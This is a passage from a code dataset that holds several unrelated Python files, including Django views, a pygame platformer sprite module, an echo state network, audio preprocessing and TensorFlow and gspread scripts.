>=200:\n xc,yc = zip(*[((x+0.5*w),(y+0.5*h)) for x,y,w,h in eyes_out[:50]])\n else:\n xc,yc = zip(*[((x+0.5*w),(y+0.5*h)) for x,y,w,h in eyes_out])\n center = (np.mean(xc),np.mean(yc))\n if r > 2:\n center = (int(0.5*img.shape[1]),int(0.15*img.shape[0]))\n else:\n center = (int(0.5*img.shape[1]),int(0.25*img.shape[0]))\n return center\n \n\ndef crop_main(img_file,path,shape):\n '''\n Crops the given image into the given shape\n\n Parameters\n ----------\n img_file : str\n Name of the image file\n path : str\n Path to the image\n shape : tuple\n Output shape\n\n Returns\n -------\n img_file : str\n Name of the image file\n img : cv2.image\n Image object that can be saved using:\n >>> cv2.imwrite(out_file,img)\n '''\n img_raw = cv2.imread(path+'/'+img_file)\n try:\n center = find_center(img_raw,shape)\n img = crop(img_raw,center,shape)\n return img_file,img\n except:\n return 'NA',None\n\n\ndef show(img,rects):\n for i,(x,y,w,h) in enumerate(rects):\n cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2)\n cv2.imshow('img',img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":6178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"549852159","text":"from pulsar import new_event_loop\nfrom pulsar.apps.test import unittest\nfrom pulsar.apps.data import create_store\n\n\ntry:\n import pymongo\n client = pymongo.MongoClient()\n alive = client.alive()\nexcept Exception:\n alive = False\n\n\n@unittest.skipUnless(alive, \"Requires pymongo and a running mongodb\")\nclass TestMongoDb(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n cls.store = cls.create_store(loop=new_event_loop())\n\n @classmethod\n def create_store(cls, **kw):\n return create_store('mongodb://127.0.0.1:28017', **kw)\n\n def test_store(self):\n client = self.store.client()\n alive = client.alive()\n self.assertTrue(alive)\n","sub_path":"tests/stores/mongodb/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"350370348","text":"from django.shortcuts import render\nfrom django.utils import timezone\nfrom .models import Post\nfrom .models import PostSRR\nfrom django.shortcuts import render, get_object_or_404\nfrom .forms import PostForm\nfrom .forms import SrrForm\nfrom django.shortcuts import redirect\nfrom django.http import HttpResponseRedirect\nimport json\n\n# Create your views here.\n\ndef post_list(request):\n\tposts = Post.objects.filter(published_date__lte=timezone.now()).order_by('published_date')\n\n\treturn render(request, 'drug_test/post_list.html', {'posts':posts})\n\n\ndef post_detail(request, pk):\n\tpost = get_object_or_404(Post, pk=pk)\n\n\treturn render(request, 'drug_test/post_detail.html', {'post': post})\n\n\ndef post_new(request):\n\tif request.method == \"POST\":\n\t\tform = PostForm(request.POST)\n\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.author = request.user\n\t\t\tpost.published_date = timezone.now()\n\t\t\tpost.save()\n\n\t\treturn redirect('post_detail', pk=post.pk)\n\telse:\n\t\tform = PostForm()\n\n\treturn render(request, 'drug_test/post_edit.html', {'form': form})\n\n\ndef post_edit(request, pk):\n\tpost = get_object_or_404(Post, pk=pk)\n\tif request.method == \"POST\":\n\t\tform = PostForm(request.POST, instance=post)\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.author = request.user\n\t\t\tpost.published_date = timezone.now()\n\t\t\tpost.save()\n\t\t\treturn redirect('post_detail', pk=post.pk)\n\telse:\n\t\tform = PostForm(instance=post)\n\n\treturn render(request, 'drug_test/post_edit.html', {'form': form})\n\n\n\n######################################################\n## Form for entering SRR identifier\n\ndef post_srr(request):\n\tif request.method == \"POST\":\n\t\tform = SrrForm(request.POST)\n\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.author = request.user\n\t\t\tpost.created_date = timezone.now()\n\t\t\tpost.save()\n\n\t\treturn redirect('job_status', pk=post.pk)\n\n\telse:\n\t\tform = SrrForm()\n\n\treturn render(request, 'drug_test/job_new.html', {'form': form})\t\n\n\n\ndef update_object_status(post):\n\tpost.dataset_link = 'data/test_example.vcf'\n\tpost.save()\n\n\treturn post\n\n\ndef job_status(request, pk):\n\n\tpost = get_object_or_404(PostSRR, pk=pk)\n\n\tpost = update_object_status(post)\n\n\tif post.dataset_link != '':\n\t\treturn render(request, 'drug_test/job_finished.html', {'post': post})\n\n\n\treturn render(request, 'drug_test/job_status.html', {'post': post})\n\n\n\n\n#################\n\npath = r'/home/roma/djangoenv/drug_test/data'\nresistance_path = r'/home/roma/djangoenv/drug_test/resistance.json'\n\n\ndef get_med_resistance():\n res = json.load(open(resistance_path))\n result = {}\n for k, v in res.items():\n for v_i in v:\n result[(v_i[0], v_i[1][0], v_i[1][1])] = k\n\n return result\n\n\nMED_RESISTANCE = get_med_resistance()\n\n\ndef calc_resistance(inp_data):\n result = []\n for item in inp_data[1:]:\n curr = tuple([int(item[1])] + item[3: 5])\n if curr in MED_RESISTANCE:\n result.append(MED_RESISTANCE[curr])\n\n return result\n\n\n\ndef dst_detail(request, pk):\n\tpost = get_object_or_404(PostSRR, pk=pk)\n\n\t#filename = post.dataset_link\n\tfilename = 'test_example.vcf'\n\n\tdata = open('{}/{}'.format(path, filename)).readlines()\n\tdata = list(map(lambda x: x.split('\\t'), data[42:]))\n\tresistance_items = ', '.join(calc_resistance(data))\n\n\tdata_res = []\n\tfor item in data[1:]:\n\t\tcurr = tuple([int(item[1])] + item[3: 5])\n\t\tif curr in MED_RESISTANCE:\n\t\t\tdata_res.append(item[1:])\n\n\n\treturn render(request, 'drug_test/dst_detail.html', {'post': post, 'data': data_res, 'resistance_items': resistance_items})\n\n","sub_path":"drug_test/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"313109458","text":"n = 0\nroot = 0\nlch = []\nrch = []\n\n\ndef print_in_level():\n stack = [root]\n i = 0\n while len(stack) != 0:\n i += 1\n print('Level {:d} : '.format(i), end='')\n for each in stack[0:-1]:\n print(each, end=' ')\n print(stack[-1])\n temp = []\n for each in stack:\n if lch[each] != 0:\n temp.append(lch[each])\n if rch[each] != 0:\n temp.append(rch[each])\n stack = temp\n\n\ndef print_in_zigzag():\n stack = [root]\n i = 0\n while len(stack) != 0:\n i += 1\n if i%2 == 1:\n print('Level {:d} from left to right: '.format(i), end=' ')\n for each in stack[0:-1]:\n print(each, end=' ')\n print(stack[-1])\n else:\n print('Level {:d} from right to left: '.format(i), end=' ')\n for each in stack[::-1][0:-1]:\n print(each, end=' ')\n print(stack[0])\n temp = []\n for each in stack:\n if lch[each] != 0:\n temp.append(lch[each])\n if rch[each] != 0:\n temp.append(rch[each])\n stack = temp\n\n\nif __name__ == '__main__':\n arr = [int(i) for i in input().split()]\n n = arr[0]\n root = arr[1]\n lch = [0 for i in range(n+1)]\n rch = [0 for i in range(n+1)]\n for i in range(n):\n arr = [int(j) for j in input().split()]\n lch[arr[0]] = arr[1]\n rch[arr[0]] = arr[2]\n print_in_level()\n print_in_zigzag()\n","sub_path":"Code/CodeRecords/2304/60696/258875.py","file_name":"258875.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"108296909","text":"import os\nimport sys\nimport numpy as np \nimport matplotlib.pyplot as plt \nfrom random import shuffle\nfrom progressbar import progressbar\nimport glob\nimport librosa\n\n\n\ndataset_folder = 'audio_samples_download/samples/'\nclasses = os.listdir(dataset_folder)\n\n\ndef remove_outliers_and_too_short_files():\n for class_ in classes:\n print(class_)\n files = os.listdir(dataset_folder + class_)\n files = [os.path.join(dataset_folder, class_, file) for file in files]\n srs = []\n for file in progressbar(files):\n try:\n y, sr = librosa.load(file,sr = None)\n srs.append(sr)\n\n if len(y)/sr < 9.751:\n print(' File too short:',file)\n os.remove(file)\n except:\n print(' PROBLEM with file:',file)\n os.remove(file)\n \n u = srs == np.ones(np.shape(srs))*srs[0]\n if (np.sum(u) == len(srs)):\n print(' All samples are sampled at',srs[0],'Hz')\n else:\n print('ERROR: different sampling rates')\n\ndef standardize_file_length(duration = 9.751):\n # make all files same length\n\n dataset_folder = 'audio_samples_download/samples'\n classes = os.listdir(dataset_folder)\n\n for class_ in classes:\n files = glob.glob(os.path.join(dataset_folder, class_,'*.wav'))\n for file in progressbar(files):\n y, sr = librosa.load(file,sr = None,duration = duration)\n librosa.output.write_wav(file, y, 16000)\n ","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"650771307","text":"import random\n\nimport pygame\nfrom pygame.math import Vector2\n\nimport settings\nfrom sprite.items import Carrot, Jetpack\n\n\nclass LivingBeing(pygame.sprite.Sprite):\n \"\"\"Describes common behavior and attributes between living beings.\n\n Attributes:\n image_names (list): List of image names that\n will be render inside the sprite.\n \"\"\"\n\n image_names = []\n\n def __init__(self, game, images, pos, groups):\n \"\"\"\n Args:\n game (Game): A reference for the running game.\n image (pygame.Surface): Image surface loaded via pygame.image.load.\n pos (tuple): X and Y axis positions where the sprite will be draw.\n groups (list): A list of pygame.sprite.Group.\n \"\"\"\n super(LivingBeing, self).__init__(groups)\n self._image_frames(images)\n self.game = game\n self.image = images[0]\n self.rect = self.image.get_rect()\n self.rect.x, self.rect.y = pos\n self.last_update = 0\n\n def _image_frames(self, images):\n \"\"\"Save image list.\n Override this method in order to give some context to the images.\"\"\"\n self.image_frames = images\n\n @classmethod\n def new(cls, game, **kwargs):\n \"\"\"Create a new instance of the living being.\n\n Args:\n game (Game): A reference for the running game.\n \"\"\"\n images = [game.spritesheet.get_image(i) for i in cls.image_names]\n return cls(game, images, **kwargs)\n\n\nclass Player(LivingBeing):\n \"\"\"\n Attributes:\n _layer (int): The layer where the player will be draw.\n image_names (list): List of Bunny image names.\n \"\"\"\n\n _layer = settings.PLAYER_LAYER\n image_names = [\n \"bunny1_stand.png\",\n \"bunny1_ready.png\",\n \"bunny1_jump.png\",\n \"bunny1_hurt.png\",\n \"bunny1_walk1.png\",\n \"bunny1_walk2.png\",\n ]\n\n def __init__(self, game, images, pos=(0, 0), groups=[]):\n \"\"\"\n Args:\n game (Game): A reference for the running game.\n images (list): List of image surfaces loaded via pygame.image.load.\n pos (tuple): X and Y axis positions where the Player will be draw.\n groups (list): A list of pygame.sprite.Group.\n \"\"\"\n super(Player, self).__init__(game, images, pos, groups)\n self.walking = False\n self.jumping = False\n self.boosted = False\n self.alive = True\n self.score = 0\n self.current_frame = 0\n self.pos = Vector2(self.rect.x, self.rect.y)\n self.vel = Vector2(0, 0)\n self.acc = Vector2(0, 0)\n\n def _image_frames(self, images):\n \"\"\"Organize image frames in a dictionary.\n\n Args:\n images (list): List of image surfaces loaded via pygame.image.load.\n \"\"\"\n self.image_frames = {\n \"jump\": images[2],\n \"hurt\": images[3],\n \"stand\": images[:2],\n \"walkr\": images[4:],\n \"walkl\": [],\n }\n\n for frame in self.image_frames[\"walkr\"]:\n self.image_frames[\"walkl\"].append(\n pygame.transform.flip(frame, True, False)\n )\n\n def standing(self):\n \"\"\"Check if the player is standing over a platform.\"\"\"\n if self.vel.y > 0 and self.alive:\n hits = pygame.sprite.spritecollide(\n self, self.game.platforms, False\n )\n if hits:\n lowest = hits[0]\n for hit in hits:\n if hit.rect.bottom > lowest.rect.bottom:\n lowest = hit\n if (\n self.pos.x < lowest.rect.right + 10\n and self.pos.x > lowest.rect.left - 10\n ):\n if self.pos.y < lowest.rect.centery:\n self.pos.y = lowest.rect.top\n self.vel.y = 0\n self.jumping = False\n self.boosted = False\n\n def walk(self):\n \"\"\"Move the player backwards/forwards if an arrow key was pressed.\"\"\"\n key = pygame.key.get_pressed()\n if key[pygame.K_LEFT]:\n self.acc.x = -settings.PLAYER_ACC\n if key[pygame.K_RIGHT]:\n self.acc.x = settings.PLAYER_ACC\n\n # apply friction\n self.acc.x += self.vel.x * settings.PLAYER_FRICTION\n\n # motion equation\n self.vel += self.acc\n if abs(self.vel.x) < 0.1:\n self.vel.x = 0\n self.pos += self.vel + settings.PLAYER_ACC * self.acc\n\n # wrap around the sides of the screen\n if self.pos.x > settings.WIDTH + (self.rect.width / 2):\n self.pos.x = 0 - (self.rect.width / 2)\n if self.pos.x < 0 - (self.rect.width / 2):\n self.pos.x = settings.WIDTH + (self.rect.width / 2)\n\n # update walking status according to the x speed\n if self.vel.x != 0:\n self.walking = True\n else:\n self.walking = False\n\n def jump(self):\n \"\"\"Perform a jump.\"\"\"\n self.rect.y += 2\n hits = pygame.sprite.spritecollide(self, self.game.platforms, False)\n self.rect.y -= 2\n if hits and not self.jumping:\n self.jumping = True\n self.vel.y = settings.PLAYER_STRENGTH\n self.game.jump_sound.play()\n\n def cut_jump(self):\n \"\"\"Shrink the jump.\"\"\"\n if self.jumping and not self.boosted:\n if self.vel.y < -6:\n self.vel.y = -6\n\n def hit_item(self):\n \"\"\"Check if the player hitted an item.\"\"\"\n if self.alive:\n for hit in pygame.sprite.spritecollide(\n self, self.game.items, True\n ):\n if isinstance(hit, Carrot):\n self.game.stage_clear()\n break\n elif isinstance(hit, Jetpack):\n self.boosted = True\n self.vel.y = settings.BOOST_POWER\n self.game.powerup_sound.play()\n\n def hit_spring(self):\n \"\"\"Check if the player hitted an spring.\"\"\"\n if self.alive:\n for hit in pygame.sprite.spritecollide(\n self, self.game.springs, False\n ):\n if not hit.fired:\n edges = [\n self.rect.bottom\n in range(hit.rect.top, hit.rect.top + 10),\n self.pos.x > (hit.rect.left - 10),\n self.pos.x < (hit.rect.right + 10),\n ]\n if all(edges):\n hit.fired = True\n self.boosted = True\n self.vel.y = settings.BOOST_SPRING\n self.game.spring_sound.play()\n break\n\n def hit_enemy(self):\n \"\"\"Check if the player hitted a enemy.\"\"\"\n if self.alive:\n for hit in pygame.sprite.spritecollide(\n self, self.game.enemies, False, pygame.sprite.collide_mask\n ):\n self.alive = False\n self.game.death_sound.play()\n\n def animate(self):\n \"\"\"Switch between image frames.\"\"\"\n now = pygame.time.get_ticks()\n\n if not self.alive:\n if now - self.last_update > 100:\n self.last_update = now\n bottom = self.rect.bottom\n self.image = self.image_frames[\"hurt\"]\n self.rect = self.image.get_rect()\n self.rect.bottom = bottom\n\n elif self.jumping or self.boosted:\n if now - self.last_update > 100:\n self.last_update = now\n bottom = self.rect.bottom\n self.image = self.image_frames[\"jump\"]\n self.rect = self.image.get_rect()\n self.rect.bottom = bottom\n\n elif self.walking:\n if now - self.last_update > 180:\n self.last_update = now\n self.current_frame = (self.current_frame + 1) % 2\n bottom = self.rect.bottom\n direction = \"walkr\" if self.vel.x > 0 else \"walkl\"\n self.image = self.image_frames[direction][self.current_frame]\n self.rect = self.image.get_rect()\n self.rect.bottom = bottom\n\n elif not self.jumping and not self.walking:\n if now - self.last_update > 250:\n self.last_update = now\n self.current_frame = (self.current_frame + 1) % 2\n bottom = self.rect.bottom\n self.image = self.image_frames[\"stand\"][self.current_frame]\n self.rect = self.image.get_rect()\n self.rect.bottom = bottom\n\n # update sprite mask\n self.mask = pygame.mask.from_surface(self.image)\n\n def update(self):\n \"\"\"Check if the player is alive and perform\n all animations like walking, jumping, etc.\"\"\"\n\n # reset acceleration and gravity values\n self.acc = Vector2(0, settings.GRAVITY)\n\n # test if the player collided with any platform\n self.standing()\n\n # move left or right according to players command\n self.walk()\n\n # check for poweups\n self.hit_item()\n\n # check for springs\n self.hit_spring()\n\n # check if hit a mob\n self.hit_enemy()\n\n # animate player sprite\n self.animate()\n\n # update player position\n self.rect.midbottom = self.pos\n\n # when player gets close to the top initiate the view scrolling\n if self.rect.top <= settings.HEIGHT / 4:\n amount = max(abs(self.vel.y), 2)\n self.pos.y += amount\n self.game.scroll(amount)\n\n # if the player falls the game is over\n if self.rect.bottom > settings.HEIGHT:\n self.game.over()\n\n\nclass Enemy(LivingBeing):\n \"\"\"Describes common behavior and attributes between enemies.\n\n Attributes:\n _layer (int): The layer where the enemy will be draw.\n \"\"\"\n\n _layer = settings.ENEMIES_LAYER\n\n def __init__(self, *args, **kwargs):\n super(Enemy, self).__init__(*args, **kwargs)\n\n\nclass FlyMan(Enemy):\n \"\"\"A flying enemy with a propeller in the head.\n This enemy crosses the screen horizontally in a random speed.\n\n Attributes:\n image_names (list): List of FlyMan image names.\n \"\"\"\n\n image_names = [\n \"flyMan_fly.png\",\n \"flyMan_jump.png\",\n \"flyMan_stand.png\",\n \"flyMan_still_fly.png\",\n \"flyMan_still_jump.png\",\n \"flyMan_still_stand.png\",\n ]\n\n def __init__(self, game, images, pos, groups):\n \"\"\"\n Args:\n images (list): List of image surfaces loaded via pygame.image.load.\n pos (tuple): X and Y axis positions where the FlyMan will be draw.\n groups (list): A list of pygame.sprite.Group.\n \"\"\"\n super(FlyMan, self).__init__(game, images, pos, groups)\n self.vx = random.randrange(1, 4)\n self.vy = 0\n self.dy = 0.5\n\n # if it starts on the right side of the screen\n if self.rect.x > settings.WIDTH / 2:\n self.vx *= -1 # invert direction\n\n def update(self):\n \"\"\"Move FlyMan or kill it if leaves the screen.\"\"\"\n self.rect.x += self.vx\n self.vy += self.dy\n self.rect.y += self.vy\n\n # switch direction on Y axis if reached the boundaries\n if self.vy > 3 or self.vy < -3:\n self.dy *= -1\n\n if (\n self.rect.left > settings.WIDTH + 100\n or self.rect.right < -100\n or self.rect.top >= settings.HEIGHT\n ):\n self.kill()\n else:\n self.animate()\n\n def animate(self):\n \"\"\"Switch between image frames.\"\"\"\n now = pygame.time.get_ticks()\n\n if now - self.last_update > settings.FPS:\n self.last_update = now\n center = self.rect.center\n if self.dy < 0: # going up\n if self.image == self.image_frames[0]:\n self.image = self.image_frames[3]\n else:\n self.image = self.image_frames[0]\n else: # going down\n if self.image == self.image_frames[1]:\n self.image = self.image_frames[4]\n else:\n self.image = self.image_frames[1]\n self.rect = self.image.get_rect()\n self.mask = pygame.mask.from_surface(self.image)\n self.rect.center = center\n","sub_path":"sprite/living.py","file_name":"living.py","file_ext":"py","file_size_in_byte":12544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"328269411","text":"\n'''\nVery simple neural network that identifies if the three numbers are high or low.\nlabels has 2 values, for low (0) and high (1)\n'''\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\n# Imports\nimport numpy as np\nimport tensorflow as tf\n\n\n# just 2 test datas\ndata = np.array([\n [1.0, 1.0, 1.0],\n [0.0, 0.0, 0.0]\n])\n\n# labels or the correct answers of the test datas\nlabels = np.array([[0.0,1.0],[1.0,0.0]])\n\n\n# input - None is for batch, 3 is for number of input per batch\nx = tf.placeholder(tf.float32, [None,3])\nw = tf.Variable(tf.zeros([3,2])) # create 3 weights (1 for each input) for 2 neurons\nb = tf.Variable(tf.zeros([2])) # create a bias for each neuron. This is just another weight that we do not matmul with the input\n\n# initialize the variables defined above\ninit = tf.initialize_all_variables()\n\n# model using softmax activation function. Formula is always input * weights + bias then feed to the activation\nm = tf.nn.softmax(tf.matmul(x, w) + b)\n\n# labes or correct answers\ny = tf.placeholder(tf.float32, [None, 2])\n\n# calculate the loss distance using cross entropy\ncross_entropy = -tf.reduce_sum(y * tf.log(m))\n\n# check if highest probability is the same as correct answers\nis_correct = tf.equal(tf.argmax(m,1), tf.argmax(y, 1))\naccuracy = tf.reduce_mean(tf.cast(is_correct, tf.float32))\n\noptimizer = tf.train.GradientDescentOptimizer(0.003)\ntrain_step = optimizer.minimize(cross_entropy)\n\nsess = tf.Session()\nsess.run(init)\n\nfor i in range(1000):\n\ttrain_data = {x: data, y: labels}\n\ta,c = sess.run([accuracy, cross_entropy], feed_dict=train_data)\n\tsess.run(train_step, feed_dict=train_data)\n\n\tif (0 == i % 100):\n\t\ta,c = sess.run([accuracy, cross_entropy], feed_dict=train_data)\n\t\tprint(a,c)\n\nr = sess.run(m, feed_dict=train_data)\nprint(r)","sub_path":"03_color_temp.py","file_name":"03_color_temp.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"256978894","text":"import numpy as np\nfrom numpy.core._multiarray_umath import dot, square, tanh\n# from sklearn.metrics import mean_squared_error\nfrom math import sqrt\n\n# TODO: added matplotlib\nimport matplotlib.pyplot as plt\n\n\n###########\n# CLASSES #\n###########\n\nclass EchoStateNetwork:\n def __init__(self, input, res, outputsize):\n self.input = input\n self.res = res\n self.outputsize = outputsize\n\n # TODO: changed weights initialization to half standard normal and\n # removed bias\n\n self.inputweights = np.random.randn(input, res) * 0.25\n self.reservoirweights = np.random.randn(res, res) * 0.25\n self.outputweights = np.random.randn(res, outputsize) * 0.25\n # self.outputweights = np.random.randn(res+1, output) * 0.25\n\n\n\n\n # TODO: changed output initialization and input size of activities\n self.output = np.zeros((1, outputsize))\n self.activ = np.zeros((outputsize, res))\n # self.activ = np.zeros((1, res+1))\n\n def forwardPass(self, reservoir_input):\n\n # TODO: changed forward pass computation\n\n # Compute the input that is fed into the reservoir\n external_input = reservoir_input * self.inputweights\n\n # Get the recurrent input to the reservoir\n recurrent_input = self.activ[0, :self.res]\n\n\n # Compute the reservoir activity based on the reservoir input and the\n # recurrent reservoir activity (from the previous time step)\n res_act = np.tanh(\n external_input + np.matmul(recurrent_input, self.reservoirweights)\n )\n \n # bias\n # one = np.array([[1]])\n # res_act = np.concatenate((res_act, one), axis=1)\n\n # Update the ESN's reservoir activity\n self.activ = res_act\n\n\n # Compute the output of the ESN\n network_output = np.matmul(res_act, self.outputweights)\n\n # Update the ESN's output\n self.output = network_output\n\n\n def reset(self):\n # TODO: changed the dimensionality of the activity\n self.activ = np.zeros((self.outputsize, self.res))\n\n def oscillator(self):\n self.forwardPass(self.output)\n\n def teacherForcing(self, target):\n self.output = target\n \n def train(self, seq, washout, training, test):\n\n self.reset\n\n # Washout\n for i in range(washout):\n\n # TODO: changed order of teacher forcing and oscillator call\n\n self.oscillator()\n self.teacherForcing(seq[i])\n\n # TODO: renamed a to activities and removed b # to training_sequence\n\n activities = np.zeros((training, self.res))\n # activities = np.zeros((training, self.res+1))\n\n training_sequence = np.zeros((training, self.outputsize))\n\n\n # TODO: renamed c to net_out\n net_out = np.zeros((training, self.outputsize))\n\n # Training\n for i in range(washout, washout + training):\n self.oscillator()\n\n # TODO: since output and activity dimensionalities have been\n # changed (see __init__ and forwardPass), these line were\n # adapted accordingly\n\n # net_out[i-washout] = self.output\n\n net_out[i - washout, 0] = self.output\n\n activities[i - washout] = self.activ\n\n self.teacherForcing(seq[i])\n training_sequence[i-washout] = seq[i]\n\n # TODO: changed rms\n rms = my_rmse(net_out=net_out[:, 0],\n target=seq[washout:training + washout])\n\n print('RMSE1 = ' + str(rms))\n\n # Perform pseudo matrix inversion of the recorded reservoir activities\n # to calculate output weights according to\n # W_out * activities = net_out\n # W_out = net_out * pinv(activities)\n\n inv_activities = np.linalg.pinv(activities)\n\n\n # TODO: changed output weight calculation slightly\n # self.outputweights = np.dot(np.linalg.pinv(activities), training_sequence)\n # Compute the output weights\n\n self.outputweights = np.matmul(inv_activities, training_sequence)\n \n\n # Test\n for i in range(washout+test, washout + training+test):\n\n\n self.oscillator()\n\n # TODO: again, output size was adapted\n # net_out[i-washout-200] = self.output\n net_out[i-washout-test, 0] = self.output\n\n # TODO: actually, testing should work without teacher forcing...\n self.teacherForcing(seq[i])\n\n # TODO: changed rms\n rms = my_rmse(net_out=net_out[:, 0],\n target=seq[washout + test:training + washout + test])\n\n print('RMSE2 = ' + str( rms ))\n\n # self.outputweights = dot( dot(np.ravel(b),a), np.linalg.inv( dot(a,a_T) + \\\n # reg*np.eye(200) ) )\n\n # self.outputweights = np.dot(np.dot(np.linalg.inv(np.dot(a.T, a) + reg * np.eye(self.res+1)), a.T), b)\n\n self.reset()\n\n # Washout\n for i in range(washout):\n\n # TODO: again changed order of teacher forcing and oscillator call\n\n self.oscillator()\n self.teacherForcing(seq[i])\n\n # TODO: as above, renamed c to net_out\n net_out = np.zeros((test, self.outputsize))\n\n\n # test\n for i in range(washout, washout + test):\n self.oscillator()\n # TODO: again net_output dimension was changed\n # net_out[i-washout] = self.output\n net_out[i - washout, 0] = self.output\n\n # TODO: actually, testing should work without teacher forcing...\n # self.teacherForcing(seq[i])\n\n # Briefly visualize performance\n plt.plot(range(test), seq[washout: washout + test], label=\"Target\")\n plt.plot(range(test), net_out[:, 0], linestyle=\"dashed\", color=\"red\",\n label=\"Network output\")\n plt.legend()\n plt.show()\n\n\n # TODO: changed rms\n rms = my_rmse(net_out=net_out[:, 0],\n target=seq[washout:test + washout])\n\n print('RMSE = ' + str(rms))\n\n\n#############\n# FUNCTIONS #\n#############\n\ndef my_rmse(net_out, target):\n \"\"\"\n This function calculates the root mean squared error for a given network\n output and target\n \"\"\"\n\n # Get the length of the sequence\n seq_len = len(net_out)\n\n # Root mean square error calculation\n rmse = np.sqrt((1 / seq_len) * np.sum(np.square(net_out - target)))\n\n return rmse\n\n\n##########\n# SCRIPT #\n##########\n\nseq = np.array\nseq = np.loadtxt(\"sequence.txt\")\n\n\n\n\nfs = 700 # sample rate \nf = 20 # the frequency of the signal\n\nx = np.arange(fs) # the points on the x axis for plotting\n# compute the value (amplitude) of the sin wave at the for each sample\ny = np.sin(2*np.pi*f * (x/fs)) \n\n\nsin = np.sin(y)\n\n\nesn = EchoStateNetwork(1, 10, 1)\nesn.train(sin, 100, 400, 200)\n","sub_path":"EchoStateNetwork.py","file_name":"EchoStateNetwork.py","file_ext":"py","file_size_in_byte":6854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"266414416","text":"import sys\nsys.path.insert(0, '/home/vagrant/twosixcapital/gspread')\n\nimport pandas as pd\nimport numpy as np\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\nfrom oauth2client import tools\nimport pdb\n\nSCOPE = 'https://spreadsheets.google.com/feeds'\n\ndef get_credentials():\n return ServiceAccountCredentials.from_json_keyfile_name('test-spreadsheet.json', SCOPE)\n\ndef df_to_sheets(df, spreadsheet_id, worksheet_id, column_header=True, row_header=True):\n\n gc = gspread.authorize(get_credentials())\n wks = getattr(gc.open(spreadsheet_id), worksheet_id.lower())\n\n to_write = [x.split('|') for x in df.to_csv(sep='|').split('\\n')[:-1]]\n max_cell = wks.get_addr_int(len(to_write), len(to_write[0]))\n cell_range = wks.range('A1:{}'.format(max_cell))\n cell_arr = np.array(cell_range).reshape(len(to_write), len(to_write[0]))\n\n for row in range(len(cell_arr)):\n for col in range(len(cell_arr[0])):\n cell_arr[row, col].value = to_write[row][col]\n\n wks.update_cells(list(cell_arr.flatten()))\n\n\nif __name__ == '__main__':\n df = pd.DataFrame([[1,2,3], [4,5,6]], columns=['a', 'b', 'c']).set_index(['a', 'b'])\n df.columns = [['d'], df.columns]\n\n df_to_sheets(df, 'test', 'Sheet1')","sub_path":"sheets.py","file_name":"sheets.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"140842535","text":"\"\"\" \n\nExecutes the command sent to the program as per the\ndefined key map.\n\n\"\"\"\n\nimport os\nimport sys\nimport time\nfrom scankeys import PressKey, ReleaseKey\n\nscan_key_map = {\n\t'up': 0xC8,\n 'left': 0xCB,\n 'right': 0xCD,\n 'down': 0xD0,\n\n 'a': 0x1E,\n 'b': 0x30,\n\n 'start': 0x1F,\n 'select': 0x12\n}\n\ndef main(args):\n\tkey = args[0]\n\n\tif key in scan_key_map:\n\t\tPressKey(scan_key_map[key])\n\t\ttime.sleep(0.1)\n\t\tReleaseKey(scan_key_map[key])\n\nif __name__ == \"__main__\":\n\tmain(sys.argv[1:])","sub_path":"command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"130911643","text":"# -*- coding: utf-8 -*-\nfrom odoo import models, fields, api,_\nimport odoo.addons.decimal_precision as dp\nfrom odoo.exceptions import UserError\nfrom odoo.tools.safe_eval import safe_eval\n\n\nclass PurchaseOrderInherite(models.Model):\n _inherit = \"purchase.order\"\n\n @api.model\n def create(self, vals):\n print(\"valsvals :: \",vals)\n if vals.get('name', 'New') == 'New':\n seq_date = None\n if 'date_order' in vals:\n seq_date = fields.Datetime.context_timestamp(self, fields.Datetime.to_datetime(vals['date_order']))\n print(\"vals['picking_type_id'] :::\" ,vals['picking_type_id'])\n deliver_to\t = self.env['stock.picking.type'].search([('id', '=', vals['picking_type_id'])], limit=1)\n\n v = self.env['ir.sequence'].next_by_code('purchase.order', sequence_date=seq_date) or '/'\n vals['name'] = str(deliver_to.warehouse_id.code) + '/' + v\n return super(PurchaseOrderInherite, self).create(vals)\n","sub_path":"nakham_change_seq/models/purchase_order.py","file_name":"purchase_order.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"205674121","text":"import os\nimport glob\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom gt_parser import gt_parser\nimport config as cf\n\nDataset_Debug_Display = False\n\nclass DataLoader():\n def __init__(self, phase='Train', shuffle=False):\n self.datas = []\n self.last_mb = 0\n self.phase = phase\n self.gt_count = [0 for _ in range(cf.Class_num)]\n self.prepare_datas(shuffle=shuffle)\n \n 